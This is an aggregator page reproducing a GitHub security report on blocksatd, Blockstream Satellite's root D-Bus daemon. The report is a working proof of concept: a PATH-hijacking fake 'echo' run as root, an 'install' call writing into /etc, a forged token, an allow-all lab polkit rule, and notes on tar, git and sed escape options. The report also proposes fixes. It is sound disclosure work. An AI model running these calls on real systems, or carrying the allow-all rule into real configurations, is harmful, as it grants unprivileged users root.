blocksatd allowlist does not stop root command execution after polkit

Open
#118 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
4/5
Estimated time
3-5 days
Newbie friendliness
35/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
linux, python

Research direction

Start with Runner.run and _validate_token in the daemon, then inspect the shipped D-Bus policy and polkit action; the issue gives no file paths for these daemon definitions. Trace how cmd, cwd, and env reach subprocess.Popen, and how status authorizes callers. Done means the reported command execution paths and unauthenticated status access are addressed while allowed operations continue to work; the reporter offers to retest.

Written by the indexing model from the issue text.

Description

What happens

blocksatd.service runs as User=root. The D-Bus method run is meant to execute a short list of install and network commands. The check in Runner.run is:

cmd[0] not in allowed_cmds

allowed_cmds is a list of bare names (echo, tar, git, install, mv, sed, make, ...). The rest of cmd is not checked. cwd and env come from the caller. An empty env becomes None (the daemon environment). A non-empty env is passed straight to subprocess.Popen. A name with no slash is resolved through PATH.

After polkit says yes, I could do both of these:

  1. PATH=/tmp/fakebin and a program named echo. blocksatd executed it as uid 0.
  2. install with a destination under /etc. The file was created root:root.

/bin/sh as cmd[0] is rejected. The method returned -1 and the log said Command not allowed.

The D-Bus policy shipped in com.blockstream.satellite.conf lets the default user send to com.blockstream.satellite.runner. The token checked by _validate_token is sha256(f"{secret}-{pid}"), where secret is ~/.blocksat/.secret of the caller. That file is created by the user (generate_secret in blocksatgui/daemon/config.py). It does not prove a second party.

The shipped polkit action com.blockstream.satellite.runner is auth_admin_keep for an active session and auth_admin otherwise. This needs that authorization first. On a desktop, auth_admin_keep stays granted for a while, and another process of the same user can call run during that window without a new password prompt.

status on the same object takes a pid and returns the child output, with no token and no polkit. I am not filing that separately. It matters once run has started a child.

Setup

I installed the repo's D-Bus config and polkit action, started dbus-daemon --system, polkitd, and unmodified blocksatd. The container has no graphical login, so I added one rule so this action returns YES. That stands in for a user who has already passed auth_admin_keep. The daemon source was not patched. The production policy is not YES for everyone.

/etc/polkit-1/rules.d/10-blocksat-lab.rules:

polkit.addRule(function(action, subject) {
    if (action.id == "com.blockstream.satellite.runner") {
        return polkit.Result.YES;
    }
});

Daemon stdout:

Blocksatd: com.blockstream.satellite.runner running (main-loop: glib).

/tmp/fakebin/echo, mode 0755:

#!/bin/sh
/usr/bin/id -u > /tmp/blocksatd-path-hijack
echo "$0" >> /tmp/blocksatd-path-hijack

/tmp/blocksatd-payload contained CRON_PAYLOAD and a newline. I did not point install at a cron directory.

The caller wrote lab-secret to /root/.blocksat/.secret (the script ran as root, so that is the uid blocksatd looks up) and computed the token the same way _validate_token does:

token = hashlib.sha256(f"{secret}-{os.getpid()}".encode()).hexdigest()

Bus name com.blockstream.satellite.runner, path /com/blockstream/satellite/runner, interface com.blockstream.satellite.runner, method run, signature sassa{ss}ii, reply signature i.

PoC

Call 1. PATH hijack.

Request:

run(
  token,                                      # s
  ["echo", "not-the-real-echo"],              # as
  "",                                         # s  cwd
  {"PATH": "/tmp/fakebin"},                   # a{ss}
  0,                                          # i  stdout -> DEVNULL
  0                                           # i  stderr -> DEVNULL
)

Reply:

int32 3800

Daemon log:

Command: echo not-the-real-echo
Running PID 3800

/tmp/blocksatd-path-hijack, owner root:root:

0
/tmp/fakebin/echo

0 is /usr/bin/id -u inside the program blocksatd executed. The second line is $0 of that program.

Call 2. install from the real PATH. Env is an empty dict, so run passes env=None and the child gets the daemon environment.

Request:

run(
  token,
  ["install", "-m", "644", "/tmp/blocksatd-payload", "/etc/blocksatd-installed"],
  "",
  {},
  0,
  0
)

Reply:

int32 3802

/etc/blocksatd-installed, owner root:root:

CRON_PAYLOAD

Call 3. Name that is not on the list.

Request:

run(
  token,
  ["/bin/sh", "-c", "id"],
  "",
  {},
  0,
  0
)

Reply:

int32 -1

Daemon log:

Command not allowed: /bin/sh -c id

No new process.

Earlier, before the polkit action was installed, the same echo and install calls returned -2 and did not create either file. The log line for that path is PID <sender> not authorized.

Fix

Resolve each allowlisted name to a fixed absolute path inside the daemon (/usr/bin/install, /bin/echo, ...) and execute that path. Drop the caller env. If a command needs variables, build them in the daemon.

Constrain arguments per command. Keep install, mv, and rm destinations inside the directories those commands are supposed to touch. Reject tar --checkpoint-action, git -c and git aliases, sed e, and an arbitrary make work directory.

Stop treating ~/.blocksat/.secret as an authenticator. Use the same polkit check on status as on run. For the polkit subject, use the system-bus name. The current subject is a unix-process with start-time set to 0.

I can retest a patch.

Thank you.

Dominant language
Python
Stars
1k
Forks
160
PR merge metrics
No merged PRs in 30d

Getting set up

This project ships no dev container, Dockerfile or contributing guide, so setting up is up to you: start from its README, and see our first-contribution guide for the general steps.

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from Blockstream/satellite

All issues in Blockstream/satellite

Similar issues

More Python issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.